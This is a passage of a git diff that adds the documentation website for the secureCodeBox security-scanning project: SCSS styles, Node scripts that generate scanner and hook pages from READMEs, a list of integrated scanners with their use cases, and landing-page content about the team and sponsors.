Cw3MC4wOSAtMS45LDIuODcgLTEuMTEsNi43NSAxLjc4LDguNjYgMS4wNSwwLjY5IDIuMjQsMS4wMiAzLjQyLDEuMDIgMi4wMywwIDQuMDIsLTAuOTkgNS4yMSwtMi44MiAxLjI5LC0xLjkyIDMxLjE3LC00Ny41NCAzMy44MywtNzUuNzkgMS40OCwtMTYuMTYgLTE3LjA3LC01Ni44OCAtMjcuMTgsLTc3LjY4IDE0LjIsLTcuNzcgMjguMDQsLTE4LjAzIDQwLjY4LC0zMC42NyAxMi42MywtMTIuNjMgMjIuODksLTI2LjQ3IDMwLjY3LC00MC42OCAyMC4wMSw5LjczIDU4LjQsMjcuMjYgNzUuNzEsMjcuMjYgMC42OSwwIDEuMzUsLTAuMDIgMS45NywtMC4wOCAyOC4yNCwtMi42NiA3My44NywtMzIuNTQgNzUuNzgsLTMzLjgxIDIuODgsLTEuODkgMy42OCwtNS43NyAxLjc4LC04LjY1IC0xLjIsLTEuODIgLTMuMTksLTIuODEgLTUuMjIsLTIuODEgLTEuMTcsMCAtMi4zNiwwLjMzIC0zLjQxLDEuMDMgLTAuNDUsMC4yOSAtNDQuOTQsMjkuNDQgLTcwLjA5LDMxLjc5IC0wLjM4LDAuMDQgLTAuNzksMC4wNSAtMS4yMiwwLjA1IC0xMi4yMywwIC00NS4wNywtMTMuOTcgLTY5LjYxLC0yNS44OSA5Ljg3LC0wLjMzIDE5Ljc2LC00LjMzIDI3LjQsLTEyIDE1LjY3LC0xNS42NSAxNi4xLC00MC41OSAwLjk5LC01NS43IC01LjY3LC01LjY4IC0xMi43NCwtOS4xNyAtMjAuMiwtMTAuNDcgLTMuMzcsLTEwLjk1IC05LjAzLC0yMC43NyAtMTcuMTEsLTI4Ljg1IC0xNC4wOCwtMTQuMDkgLTMzLjM4LC0yMC44NCAtNTQuNzYsLTIwLjg0IC0xNy4zOCwwIC0zNi4xMyw0LjQ3IC01NC41MiwxMy4xIDEwLjc3LC0yOC4xMiAxMS41OSwtNTcuODkgMS45OSwtODMuNDEgMjkuNjIsLTE5LjMyIDU5LjIyLC0zOC42IDYzLjk2LC00MS43MSA3Ljc4LDEuNTUgNTQuNSw3LjIyIDgxLjE3LDcuMjIgMTAuNjYsMCAxOC4xMywtMC45IDE4LjYxLC0zLjM0IDEuNzMsLTguNTYgLTEwNi41NywtMjAuMTIgLTEwNi41NywtMjAuMTIgbCAtNjQuNjMsMjUuMTUgYyAxMy43OSwtMjMuOTEgMjEuMjEsLTQzLjAyIDI2LjE4LC00OC42OSA3LjQ3LC0yLjUgMTEyLjI2LC0zMi4wNCAxMDkuNSwtNDAuMzEgLTAuMzEsLTAuOTYgLTIuMTUsLTEuMzcgLTUuMTYsLTEuMzcgLTIzLjEsMCAtMTE1LjE0LDI0Ljg1IC0xMTUuMTQsMjQuODUgbCAtMjAuMywyMy4xOSBjIDcuNzksLTIzLjM3IDE1LjE4LC00NS41NiAxNi40OSwtNDkuNDUgNy4xLC01LjI1IDcxLjU3LC02MS43IDY2LjQsLTY4LjcwOCAtMC4yNywtMC4zNjMgLTAuNzEsLTAuNTI0IC0xLjMyLC0wLjUyNCAtMTEuMzEsMCAtNzguOTksNTguOTkyIC03OC45OSw1OC45OTIgbCAtMzkuMyw4MS45OSBjIC00LjA2LC0xLjg4IC04LjI2LC0zLjQyIC0xMi41OCwtNC43MyAxNS43MywtODAuMTkgMzYuODksLTE5Ny44NjEgNTMuNjMsLTMyNi4xODEgMjcuMzQsLTIwOS45NDkgMjEuMTksLTQyOS45NjkgNC4zOSwtNDcxLjU3MSAtMS4zNSwtMy4zNDcgLTMuNDYsLTQuODk4IC02LjIsLTQuODk4IiAvPjwvZz48L2c+Cjwvc3ZnPg=="); +} + +.owasp-project-logo { + transform: scale(0.5); +} + +.flex-container { + display: flex; +} + +.flex-child { + flex: 1; +} + diff --git a/documentation/src/css/flipcard.module.scss b/documentation/src/css/flipcard.module.scss new file mode 100644 index 0000000000..60ee4c388a --- /dev/null +++ b/documentation/src/css/flipcard.module.scss @@ -0,0 +1,62 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +@import "./mixins"; + +/* Flipcard container */ +.flipcard { + background-color: transparent; + width: inherit; /* inherit to fit to the column width */ + max-width: 30rem; + height: 100%; + perspective: 1000px; /* Makes the 3D Flipping Effect, can be removed */ + margin: 10px auto; /* center the flipcard horizontally */ +} + +.flipcardLogo { + height: 60px; + width: 60px; +} + +/* Positions the front and backside */ +.flipcardInner { + /* Use display grid to place both the front and backside in the same cell */ + /* This allows to automatically scale the card sizes */ + display: grid; + width: 100%; + height: inherit; + align-items: center; + transition: transform 0.8s; + transform-style: preserve-3d; + border: 1px solid gray; + border-radius: 5px; +} + +/* horizontally flips card 180 degrees*/ +.flipcardFlip .flipcardInner { + transform: rotateY(180deg); +} + +/* Position the front and back side */ +.flipcardFront, +.flipcardBack { + grid-row: 1; + grid-column: 1; + margin: 10px; + position: relative; + text-align: center; + -webkit-backface-visibility: hidden; /* Safari */ + backface-visibility: hidden; +} + +.flipcardFront { + transform: rotateY(0deg); +} + +/* Style the back side */ +.flipcardBack { + transform: rotateY(180deg); +} diff --git a/documentation/src/css/integration.module.scss b/documentation/src/css/integration.module.scss new file mode 100644 index 0000000000..1c5d03398a --- /dev/null +++ b/documentation/src/css/integration.module.scss @@ -0,0 +1,28 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +@import '../css/_mixins.scss'; + +.integrationImage { + height: 40px; + width: 40px; +} + +.integration { + padding: 1em; + margin: 0 2em 2em; + background-color: white; + border: 1px solid gray; + border-radius: 5px; + text-align: center; + width: auto; + min-height: min-content; + cursor: pointer; + @include lg { + width: 300px; + height: 240px; + } +} diff --git a/documentation/src/css/styles.module.scss b/documentation/src/css/styles.module.scss new file mode 100644 index 0000000000..d41c655538 --- /dev/null +++ b/documentation/src/css/styles.module.scss @@ -0,0 +1,131 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +/* stylelint-disable docusaurus/copyright-header */ + +/** + * CSS files with the .module.css suffix will be treated as CSS modules + * and scoped locally. + */ + +@import "../css/_mixins.scss"; +@import "../css/custom.css"; + +.heroBanner { + padding: 2rem; + position: relative; + overflow: hidden; + background-color: black; + @include lg { + padding: 4rem 0; + } + h1 { + color: white; + } +} + +.description { + color: var(--accent-color-main); +} + +.integrations { + display: grid; + grid-template-columns: auto; + padding: 2rem 0; + @include lg { + grid-template-columns: auto auto auto; + } + a { + text-decoration: none !important; + color: unset; + } +} + +.light:hover { + box-shadow: 2px 2px 8px rgba(0, 0, 0, 0.3); +} + +h3 { + margin: 20px 0 10px; +} + +h2 { + margin: 20px 0 0; +} + + +.dark { + background-color: whitesmoke; + color: black !important; + &:hover { + box-shadow: 2px 2px 8px rgba(255, 255, 255, 0.4); + } +} + +main { + h3 { + line-height: 24px; + padding-bottom: 20px; + border-bottom: 1px solid lightgray; + } +} + +.getStarted { + color: white !important; + &:hover { + color: black !important; + } +} + +.goToSolutionBulletList { + ul { + list-style: none; /* Remove default bullets, necessary to add back custom colored ones */ + } + + ul li::before { + content: "\25AA"; /* Add content: \2022 is the CSS Code/unicode for a default bullet, \25AA for a square bullet */ + color: var(--accent-color-main); /* Change the color */ + font-weight: bold; /* If you want it to be bold */ + display: inline-block; /* Needed to add space between the bullet and the text */ + width: 1em; /* Also needed for space (tweak if needed) */ + margin-left: -1em; /* Also needed for space (tweak if needed) */ + } + + li { + margin-bottom: 20px; + } + + label { + color: var(--accent-color-main); + font-weight: bold; + } +} + +.sponsor { + display: flex; + align-items: center; + justify-content: center; + a { + width: 100%; + margin: 0px 5px; + } + + img { + width: 100%; + max-width: 300px; + object-fit: cover; + } +} + +/* ---------------- Mobile Utility ------------------ */ + +.defaultMarginBottom { + margin-bottom: 40px; + + @include xl { + margin-bottom: unset; + } +} diff --git a/documentation/src/docs.build.js b/documentation/src/docs.build.js new file mode 100644 index 0000000000..89434152dc --- /dev/null +++ b/documentation/src/docs.build.js @@ -0,0 +1,348 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +const fs = require("fs"), + rimraf = require("rimraf"), + colors = require("colors"), + matter = require("gray-matter"), + path = require('path'), + { docsConfig: config } = require("./utils/config"), + { removeWhitespaces } = require("./utils/capitalizer"), + Mustache = require("mustache"); + + +colors.setTheme({ + info: "blue", + help: "cyan", + warn: "yellow", + success: "green", + error: "red", +}); + +// For the documentation on this script look at the README.md of this repository + +async function main() { + const currentDirectory = __dirname; // current directory is /documentation/src + const parentDirectory = path.dirname(currentDirectory); // parent is /documentation + const rootDirectory = path.dirname(parentDirectory); // root is / + + const dataArray = await Promise.all( + config.filesFromRepository.map((dir) => + readDirectory(`${rootDirectory}/${dir.src}`, false) + .then((res) => ({ ...dir, files: res })) + .catch((err) => + console.error( + `ERROR: Could not read directory at: ${dir}`.error, + err.message.error + ) + ) + ) + ); + + if (!fs.existsSync(config.targetPath)) { + fs.mkdirSync(config.targetPath); + } + // Clear preexisting findings + if (fs.existsSync(config.findingsDir)) { + rimraf.sync(config.findingsDir); + } + + for (const dir of dataArray) { + const trgDir = `${config.targetPath}/${dir.dst}`; + const srcDir = `${rootDirectory}/${dir.src}`; + + // Clears existing md files from directories + if (fs.existsSync(trgDir)) { + await removeExistingMarkdownFilesFromDirectory(trgDir, dir.keep); + + console.warn( + `WARN: ${trgDir.info} already existed and was overwritten.`.warn + ); + } else { + fs.mkdirSync(trgDir); + } + + // If the source directory contains a ".helm-docs.gotmpl" file (such as in /scanners or /hooks), the doc files need to be generated. + // Else, the docs files are just copied to the destination path. + dir.files.includes(".helm-docs.gotmpl") + ? await createDocFilesFromMainRepository(srcDir, trgDir, await readDirectory(srcDir)) + : await copyFilesFromMainRepository(srcDir, trgDir, dir.exclude, dir.keep); + } +} + +main().catch((err) => { + clearDocsOnFailure(); + console.error(err.stack.error); +}); + +function readDirectory(dir, dirNamesOnly = true) { + return new Promise((res, rej) => { + fs.readdir( + dir, + { encoding: "utf8", withFileTypes: true }, + function (err, data) { + if (err) { + rej(err); + } else { + if (dirNamesOnly) data = data.filter((file) => file.isDirectory()); + const directories = data.map((dirent) => dirent.name); + res(directories); + } + } + ); + }); +} + +async function createDocFilesFromMainRepository(relPath, targetPath, dirNames) { + for (const dirName of dirNames) { + const readMe = `${relPath}/${dirName}/README.md`; + + if (!fs.existsSync(readMe)) { + console.log( + `WARN: Skipping ${dirName.help}: file not found at ${readMe.info}.`.warn + ); + continue; + } + + // Read readme content of scanner / hook directory + const readmeContent = fs.readFileSync(readMe, { encoding: "utf8" }); + + const examples = await getExamples(`${relPath}/${dirName}/examples`); + + const imageTypes = await getSupportedImageTypes(`${relPath}/${dirName}/Chart.yaml`); + + // Add a custom editUrl to the frontMatter to ensure that it points to the correct repo + const { data: frontmatter, content } = matter(readmeContent); + const filePathInRepo = relPath.replace(/^githubRepo\//, ""); + const readmeWithEditUrl = matter.stringify(content, { + ...frontmatter, + description: frontmatter?.usecase, + custom_edit_url: `https://github.com/${config.repository}/edit/${config.branch}/${filePathInRepo}/${dirName}/.helm-docs.gotmpl`, + }); + + // Skip File if its marked as "hidden" in its frontmatter + if (frontmatter.hidden !== undefined && frontmatter.hidden === true) { + continue; + } + + const integrationPage = Mustache.render( + fs.readFileSync(path.join(__dirname, "utils/scannerReadme.mustache"), { + encoding: "utf8", + }), + { + readme: readmeWithEditUrl, + examples, + hasExamples: examples.length !== 0, + imageTypes, + hasImageTypes: imageTypes?.length > 0 + } + ); + + let fileName = frontmatter.title ? frontmatter.title : dirName; + + //Replace Spaces in the FileName with "-" and convert to lower case to avoid URL issues + fileName = fileName.replace(/ /g, "-").toLowerCase(); + + const filePath = `${targetPath}/${fileName}.md`; + fs.writeFileSync(filePath, integrationPage); + + console.log( + `SUCCESS: Created file for ${dirName.help} at ${filePath.info}`.success + ); + } +} + +async function getExamples(dir) { + if (!fs.existsSync(dir)) { + return []; + } + + const dirNames = await readDirectory(dir).catch(() => []); + + if (dirNames.length === 0) { + console.warn(`WARN: Found empty examples folder at ${dir.info}.`.warn); + return []; + } + + return dirNames.map((dirName) => { + let readMe = ""; + + if (fs.existsSync(`${dir}/${dirName}/README.md`)) { + readMe = matter( + fs.readFileSync(`${dir}/${dirName}/README.md`, { + encoding: "utf8", + }) + ).content; + } + + let scanContent = null; + if (fs.existsSync(`${dir}/${dirName}/scan.yaml`)) { + scanContent = fs.readFileSync(`${dir}/${dirName}/scan.yaml`, { + encoding: "utf8", + }); + } + + let findingContent = null; + let findingSizeLimitReached = null; + + if (fs.existsSync(`${dir}/${dirName}/findings.yaml`)) { + findingSizeLimitReached = + fs.statSync(`${dir}/${dirName}/findings.yaml`).size >= config.sizeLimit; + + if (findingSizeLimitReached) { + console.warn( + `WARN: Findings for ${dirName.info} exceeded size limit.`.warn + ); + + findingContent = copyFindingsForDownload( + `${dir}/${dirName}/findings.yaml` + ); + } else { + findingContent = fs.readFileSync(`${dir}/${dirName}/findings.yaml`, { + encoding: "utf8", + }); + } + } + + let findings = null; + if (findingContent && findingSizeLimitReached !== null) { + findings = { + value: findingContent, + limitReached: findingSizeLimitReached, + }; + } + + return { + name: removeWhitespaces(dirName), + exampleReadme: readMe, + scan: scanContent, + findings, + }; + }); +} + +function getSupportedImageTypes(dir) { + if (fs.existsSync(dir)) { + const chartContent = fs.readFileSync(dir, { + encoding: "utf8", + }); + + // add an opening delimiter to help matter distinguish the file type + const { data: frontmatter} = matter(['---', ...chartContent.toString().split('\n')].join('\n')); + + if ('annotations' in frontmatter && 'supported-platforms' in frontmatter.annotations) { + return frontmatter['annotations']['supported-platforms'].split(','); + } + } +} + +function copyFindingsForDownload(filePath) { + const dirNames = filePath.split("/"), + name = + dirNames[dirNames.indexOf("examples") - 1] + + "-" + + dirNames[dirNames.indexOf("examples") + 1], + targetPath = `/${config.findingsDir}/${name}-findings.yaml`; + + if (!fs.existsSync("static")) { + fs.mkdirSync("static/"); + } + if (!fs.existsSync(`static/${config.findingsDir}`)) { + fs.mkdirSync(`static/${config.findingsDir}`); + } + + fs.copyFileSync(filePath, "static" + targetPath); + console.log(`SUCCESS: Created download link for ${name.info}.`.success); + + return targetPath; +} + +function clearDocsOnFailure() { + for (const dir of config.filesFromRepository) { + const trgDir = `${config.targetPath}/${dir.src}`; + + if (fs.existsSync(trgDir)) { + removeExistingMarkdownFilesFromDirectory(trgDir, dir.keep) + .then(() => { + console.log( + `Cleared ${trgDir.info} due to previous failure.`.magenta + ); + }) + .catch((err) => { + console.error( + `ERROR: Could not remove ${trgDir.info} on failure.`.error + ); + console.error(err.message.error); + }); + } + } +} + + +// Copy files from a given src directory from the main repo into the given dst directory +// +// Example: copyFilesFromMainRepository("docs/adr", "docs/architecture/adr"); +// copyFilesFromMainRepository("docs/adr", "docs/architecture/adr", ["adr_0000.md", "adr_README.md"]); +// +// @param src required source directory in main repository (docsConfig.repository) +// @param dst required target directory in this repository relative to config.targetPath +// @param exclude optional array of files to exclude from srcPath +// @param keep optional array of files to keep in dstPath +async function copyFilesFromMainRepository(srcPath, dstPath, exclude, keep) { + exclude = exclude || []; + keep = keep || []; + + if (fs.existsSync(srcPath)) { + console.error(`${srcPath.info}.`.error); + } + + if (fs.existsSync(dstPath)) { + await removeExistingMarkdownFilesFromDirectory(dstPath, keep); + } else { + fs.mkdirSync(dstPath); + console.info(`Create target directory ${dstPath.info}...`.success); + } + + fs.readdirSync(srcPath).map((fileName) => { + if (!exclude.includes(fileName)) { + console.log(`Copy ${fileName.info} to ${dstPath.info}...`.success); + + fs.copyFileSync(`${srcPath}/${fileName}`, `${dstPath}/${fileName}`); + } + }); +} + +async function removeExistingMarkdownFilesFromDirectory(dirPath, filesToKeep) { + console.info(`Remove existing markdown files from ${dirPath.info}`) + const allFiles = await readDirectory(dirPath, false); + allFiles + .filter((fileName) => fileName.endsWith(".md")) + .filter(fileName => doNotKeepFile(fileName, filesToKeep)) + .forEach((fileName) => { + const filePath = `${dirPath}/${fileName}`; + rimraf.sync(filePath); + console.warn(`WARN: ${filePath} was deleted.`.warn); + }); +} + +function doNotKeepFile(fileName, filesToKeep) { + // Helper method to make it harder to oversee the !. It is easier to see the negation in the name instead + // somewhere in the used filter invocation. + return !keepFile(fileName, filesToKeep); +} + +function keepFile(fileName, filesToKeep) { + console.info(`Determine whether to keep '${fileName}' (${filesToKeep})`.info); + + for (let index in filesToKeep) { + const fileToKeep = filesToKeep[index]; + + if (fileName.normalize() === fileToKeep.normalize()) { + console.info(`Keeping file ${fileName}`.info); + return true; + } + } + + return false; +} diff --git a/documentation/src/integrations.build.js b/documentation/src/integrations.build.js new file mode 100644 index 0000000000..e96f0512ac --- /dev/null +++ b/documentation/src/integrations.build.js @@ -0,0 +1,141 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +const fs = require("fs"), + rimraf = require("rimraf"), + colors = require("colors"), + matter = require("gray-matter"), + { integrationsConfig: config } = require("./utils/config"), + { removeWhitespaces, capitalizeEach } = require("./utils/capitalizer"); + +colors.setTheme({ + info: "blue", + help: "cyan", + warn: "yellow", + success: "green", + error: "red", +}); + +// For the documentation on this script look at the README.md of this repository + +class Integration { + constructor(title, type, usecase, path, imageUrl) { + this.title = title; + this.type = type; + this.usecase = usecase; + this.path = path; + this.imageUrl = imageUrl; + } + + isEmpty() { + return !this.title && !this.usecase; + } +} + +if (fs.existsSync(config.targetFile)) { + rimraf.sync(config.targetFile); + + console.warn( + `WARN: ${config.targetFile.info} already existed and was removed.`.warn + ); +} + +// Inform about subdirectories (this runs asynchronously) +for (const dir of config.integrationDirs) { + fs.readdir( + `docs/${dir}`, + { encoding: "utf8", withFileTypes: true }, + function (err, files) { + if (err) { + console.error( + `ERROR: Could not read directory ${("docs/" + dir).info}.`.error, + err.message.error + ); + } else { + files + .filter((dirent) => dirent.isDirectory()) + .map((dirent) => + console.warn( + `WARN: Found subdirectory ${dirent.name.help}. If it contains integrations as well you must specify it explicitly.` + .warn + ) + ); + } + } + ); +} + +const itgsArray = []; +// Build integrations from files +for (const dir of config.integrationDirs) { + const integrations = [], + fileNames = fs + .readdirSync(`docs/${dir}`, { encoding: "utf8", withFileTypes: true }) + .filter((dirent) => dirent.isFile() && dirent.name.endsWith(".md")) + .map((dirent) => dirent.name.split(".").slice(0, -1).join(".")); + + for (const fileName of fileNames) { + const content = fs.readFileSync(`docs/${dir}/${fileName}.md`, { + encoding: "utf8", + }), + attributes = matter(content).data, + integration = new Integration( + attributes.title, + attributes.type, + attributes.usecase + ); + + if (integration.isEmpty()) { + console.warn( + `WARN: Skipping: ${fileName.help}. Frontmatter does not provide required fields.` + .warn, + `Title: ${integration.title}`, + `Description: ${integration.usecase}` + ); + } else { + const imageUrl = `img/integrationIcons/${integration.title}.svg`; + + if (fs.existsSync(`static/${imageUrl}`)) { + integration.imageUrl = imageUrl; + } else { + integration.imageUrl = config.defaultIcon; + console.warn( + `WARN: Could not resolve ${imageUrl.info}. Using default image.`.warn + ); + } + + integration.path = `docs/${dir}/${fileName}`; + + integrations.push(integration); + console.log(`SUCCESS: Created integration for ${fileName.help}.`.success); + } + } + + itgsArray.push([dir, integrations]); +} + +const itgsMap = new Map(itgsArray), + itgsStringArray = [], + itgKeys = []; + +itgsMap.forEach((itgObject, itgName) => { + const constantName = removeWhitespaces(capitalizeEach(itgName)); + + itgKeys.push(constantName); + + itgsStringArray.push(` +export const ${constantName} = ${JSON.stringify(itgObject)}; +`); +}); + +itgsStringArray.push(`export default { ${itgKeys.join(",")} };`); + +fs.writeFile(`${config.targetFile}`, itgsStringArray.join(""), function (err) { + if (err) { + console.error( + `ERROR: Could not build ${config.targetFile.help}.`.error, + err.message.error + ); + } +}); diff --git a/documentation/src/integrations.js b/documentation/src/integrations.js new file mode 100644 index 0000000000..a2bbfb63d7 --- /dev/null +++ b/documentation/src/integrations.js @@ -0,0 +1,5 @@ + +export const Hooks = [{"title":"Azure Monitor","type":"persistenceProvider","usecase":"Publishes all Scan Findings to Azure Monitor.","path":"docs/hooks/azure-monitor","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Cascading Scans","type":"processing","usecase":"Cascading Scans based declarative Rules.","path":"docs/hooks/cascading-scans","imageUrl":"img/integrationIcons/Cascading Scans.svg"},{"title":"DefectDojo","type":"persistenceProvider","usecase":"Publishes all Scan Reports to OWASP DefectDojo.","path":"docs/hooks/defectdojo","imageUrl":"img/integrationIcons/DefectDojo.svg"},{"title":"Elasticsearch","type":"persistenceProvider","usecase":"Publishes all Scan Findings to Elasticsearch.","path":"docs/hooks/elasticsearch","imageUrl":"img/integrationIcons/Elasticsearch.svg"},{"title":"Finding Post Processing","type":"dataProcessing","usecase":"Updates fields for findings meeting specified conditions.","path":"docs/hooks/finding-post-processing","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Generic WebHook","type":"integration","usecase":"Publishes Scan Findings as WebHook.","path":"docs/hooks/generic-webhook","imageUrl":"img/integrationIcons/Generic WebHook.svg"},{"title":"Notification WebHook","type":"integration","usecase":"Publishes Scan Summary to MS Teams, Slack and others.","path":"docs/hooks/notification-webhook","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Static Report","type":"persistenceProvider","usecase":"Publishes all Scan Findings as HTML Report.","path":"docs/hooks/static-report","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Update Field","type":"dataProcessing","usecase":"Updates fields in finding results.","path":"docs/hooks/update-field","imageUrl":"img/integrationIcons/Update Field.svg"}]; + +export const Scanners = [{"title":"Amass","type":"Network","usecase":"Subdomain Enumeration Scanner","path":"docs/scanners/amass","imageUrl":"img/integrationIcons/Amass.svg"},{"title":"CMSeeK","type":"CMS","usecase":"Automation of the process of detecting the Joomla CMS and its core vulnerabilities","path":"docs/scanners/cmseek","imageUrl":"img/integrationIcons/Default.svg"},{"title":"doggo","type":"Network","usecase":"DNS client (like dig)","path":"docs/scanners/doggo","imageUrl":"img/integrationIcons/Default.svg"},{"title":"ffuf","type":"Webserver","usecase":"Webserver and WebApplication Elements and Content Discovery","path":"docs/scanners/ffuf","imageUrl":"img/integrationIcons/ffuf.svg"},{"title":"Git Repo Scanner","type":"Repository","usecase":"Discover Git repositories","path":"docs/scanners/git-repo-scanner","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Gitleaks","type":"Repository","usecase":"Find potential secrets in repositories","path":"docs/scanners/gitleaks","imageUrl":"img/integrationIcons/Gitleaks.svg"},{"title":"Kube Hunter","type":"Kubernetes","usecase":"Kubernetes Vulnerability Scanner","path":"docs/scanners/kube-hunter","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Kubeaudit","type":"Kubernetes","usecase":"Kubernetes Configuration Scanner","path":"docs/scanners/kubeaudit","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Ncrack","type":"Authentication","usecase":"Network authentication bruteforcing","path":"docs/scanners/ncrack","imageUrl":"img/integrationIcons/Ncrack.svg"},{"title":"Nikto","type":"Webserver","usecase":"Webserver Vulnerability Scanner","path":"docs/scanners/nikto","imageUrl":"img/integrationIcons/Nikto.svg"},{"title":"Nmap","type":"Network","usecase":"Network discovery and security auditing","path":"docs/scanners/nmap","imageUrl":"img/integrationIcons/Nmap.svg"},{"title":"Nuclei","type":"Website","usecase":"Nuclei is a fast, template based vulnerability scanner.","path":"docs/scanners/nuclei","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Screenshooter","type":"WebApplication","usecase":"Takes Screenshots of websites","path":"docs/scanners/screenshooter","imageUrl":"img/integrationIcons/Screenshooter.svg"},{"title":"Semgrep","type":"Repository","usecase":"Static Code Analysis","path":"docs/scanners/semgrep","imageUrl":"img/integrationIcons/Default.svg"},{"title":"SSH-audit","type":"SSH","usecase":"SSH Configuration and Policy Scanner","path":"docs/scanners/ssh-audit","imageUrl":"img/integrationIcons/Default.svg"},{"title":"SSH","type":"SSH","usecase":"SSH Configuration and Policy Scanner","path":"docs/scanners/ssh","imageUrl":"img/integrationIcons/SSH.svg"},{"title":"SSLyze","type":"SSL","usecase":"SSL/TLS Configuration Scanner","path":"docs/scanners/sslyze","imageUrl":"img/integrationIcons/SSLyze.svg"},{"title":"Trivy","type":"Container","usecase":"Container Vulnerability Scanner","path":"docs/scanners/trivy","imageUrl":"img/integrationIcons/Trivy.svg"},{"title":"Typo3Scan","type":"CMS","usecase":"Automation of the process of detecting the Typo3 CMS and its installed extensions","path":"docs/scanners/typo3scan","imageUrl":"img/integrationIcons/Default.svg"},{"title":"Whatweb","type":"Network","usecase":"Website identification","path":"docs/scanners/whatweb","imageUrl":"img/integrationIcons/Whatweb.svg"},{"title":"WPScan","type":"CMS","usecase":"Wordpress Vulnerability Scanner","path":"docs/scanners/wpscan","imageUrl":"img/integrationIcons/WPScan.svg"},{"title":"ZAP Advanced","type":"WebApplication","usecase":"WebApp & OpenAPI Vulnerability Scanner extend with authentication features","path":"docs/scanners/zap-advanced","imageUrl":"img/integrationIcons/ZAP Advanced.svg"},{"title":"ZAP","type":"WebApplication","usecase":"WebApp & OpenAPI Vulnerability Scanner","path":"docs/scanners/zap","imageUrl":"img/integrationIcons/ZAP.svg"}]; +export default { Hooks,Scanners }; \ No newline at end of file diff --git a/documentation/src/landingpageContent.js b/documentation/src/landingpageContent.js new file mode 100644 index 0000000000..070c891ea0 --- /dev/null +++ b/documentation/src/landingpageContent.js @@ -0,0 +1,147 @@ +const content = { + automatedTesting: { + cards: [ + { + title: "Powerful Scanning Tools", + description: + "Combines more than 15 different Scanners to provide a comprehensive overview of threats and vulnerabilities affecting your network and applications.", + imgSrc: "/img/features/scanning.svg", + }, + { + title: "SDLC", + description: + "Easily integrate the secureCodeBox into your CI/CD pipeline or Kubernetes environment with automated feedbacks.", + imgSrc: "/img/features/sdlc.svg", + }, + { + title: "Multi-Layer Testing", + description: + "Allowing security tests on different layers – from deep dive Scans of single Applications to large-scale scanning of complete it landscapes.", + imgSrc: "/img/features/testing.svg", + }, + { + title: "Easy Monitoring", + description: + "Easily monitor each scanner's results through pre-designed or customised dashboards, use a tool integration such as. DefectDojo or integrate persistence tool of your choice.", + imgSrc: "/img/features/monitoring.svg", + }, + ], + }, + useCases: { + title: "Security Use Cases", + description: + "Flexible configuration options make it possible to apply the secureCodeBox to a wide range of use cases, addressing security professionals as well as DevOps Teams. Discover the possibilities:", + items: [ + { + title: "For Dev-Teams:", + content: + "Scan your applications to identify low-hanging fruit issues in an early stage during the development process and free the resources of pen-testers to concentrate on major security issues.", + }, + { + title: "For Ops-Teams:", + content: + "Orchestrate and perform continuous and automated routine scans of your applications in the live environment and thereby reduce vulnerability risks.", + }, + { + title: "For Sec-Teams:", + content: + "Use the secureCodeBox to run security scans on large-scale networks and identify vulnerabilities alongside your organization’s infrastructure.", + }, + ], + }, + goToSolution: { + title: "Your Go-to Solution for easy Security Scanning", + description: + "secureCodeBox offers a well-documented and beginner-friendly introduction to the world of DevSecOps:", + image: "/img/Desktop_Screenshots.png", + list: [ + { + label: "Quick & easy installation", + content: + "It's a quick and straight forward installation. It works on every system and is ready to use from start.", + }, + { + label: "For professionals and rookies", + content: + "You can start scans without any configuration right away and use best practice tests. But each scanner also provides extensive configuration options.", + }, + { + label: "Plug-and-play Architecture", + content: + "Our architecture is designed for open flexibility and free adjustments. New tools can be integrated fairly simple and you can design your own scan and monitor process.", + }, + { + label: "Fully scalable", + content: + "Separately configurable for multiple teams, systems or clusters.", + }, + ], + }, + multiScanner: { + title: "Multi Scanner Security Platform", + description: + "Combining more than 15 leading Open-Source Scanning Tools secureCodeBox covers a broad spectrum of possible threats and vulnerabilities for your network and applications; ranging from Kubernetes vulnerabilities, over SSL misconfigurations, to network authentication bruteforcing and many more:", + }, + about: { + title: "About us", + description: + "secureCodeBox is an Open-Source project in cooperation with OWASP and with friendly support from", + question: "Do you have questions or feedback about secureCodeBox?", + buttonHeader: "Get in contact and let us know:", + button: "Get in contact", + mail: { + recipient: "securecodebox@iteratec.com", + subject: "", + message: "", + }, + roles: [ + { + imageSrc: "/img/roles/rfe_hoch_cropped.jpg", + name: "Robert Felber", + role: "Inventor", + }, + { + imageSrc: "/img/roles/sst_hoodie_hoch_cropped.jpg", + name: "Sven Strittmatter", + role: "Core Team", + }, + { + imageSrc: "/img/roles/jh_small.jpg", + name: "Jannik Hollenbach", + role: "Core Team", + }, + ], + }, + sponsors: { + title: "Sponsors", + logos: [ + { + srcLight: "/img/Logo_iteratec_rgb_black_SZ_rz.svg", + srcDark: "/img/Logo_iteratec_rgb_white_SZ_rz.svg", + link: "https://www.iteratec.com/", + }, + { + srcLight: "/img/sponsors/Logo_sda-se.png", + srcDark: "/img/sponsors/Logo_sda-se.png", + link: "https://sda.se/", + }, + { + srcLight: "/img/sponsors/Logo_secura.svg", + srcDark: "/img/sponsors/Logo_secura.svg", + link: "https://www.secura.com/", + }, + { + srcLight: "/img/sponsors/Logo_signal-iduna.svg", + srcDark: "/img/sponsors/Logo_signal-iduna.svg", + link: "https://www.signal-iduna.de/", + }, + { + srcLight: "/img/sponsors/Logo_timo-pagel-it-consulting.png", + srcDark: "/img/sponsors/Logo_timo-pagel-it-consulting.png", + link: "https://pagel.pro/", + }, + ], + }, +}; + +export default content; diff --git a/documentation/src/layouts/Sections.tsx b/documentation/src/layouts/Sections.tsx new file mode 100644 index 0000000000..48d81c3a78 --- /dev/null +++ b/documentation/src/layouts/Sections.tsx @@ -0,0 +1,31 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// 